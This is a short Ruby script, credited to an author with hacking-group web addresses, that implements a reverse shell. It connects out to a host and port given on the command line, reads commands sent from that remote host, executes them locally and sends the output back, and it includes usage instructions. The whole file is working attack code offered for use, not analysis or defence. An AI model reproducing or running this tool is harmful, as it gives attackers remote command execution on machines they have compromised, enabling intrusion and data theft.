#!/usr/bin/env ruby # Ruby Reverse Shell # MagicC0d3r@gmail.com # www.magiccoder.ir www.sun-army.org # License : GNU General Public License (GPL) #Usage : ruby reverse.rb <ip> <port> #Example: ruby reverse.rb 127.0.0.1 1370 require 'net/telnet' if (ARGV[1] == nil) puts "\n\n\t\t Ruby Reverse Shell\n\t\tMagicC0d3r@gmail.com\n\twww.magiccoder.ir\twww.sun-army.org\n" puts "\nUsage\t: ruby reverse.rb <ip> <port>\nExample\t: ruby reverse.rb 127.0.0.1 1370\n\n" else server = Net::Telnet::new('Host'=>ARGV[0],'Port'=>ARGV[1].to_i,'Timeout'=>300) server.puts "\n\n\t\t Ruby Reverse Shell\n\t\tMagicC0d3r@gmail.com\n\twww.magiccoder.ir\twww.sun-army.org\n" puts "Connected to #{ARGV[0]}:#{ARGV[1].to_i}" loop do server.print "sh$ " command = server.gets break if command.chomp == "exit" server.print `#{command.to_s}` end puts "Disconnected" end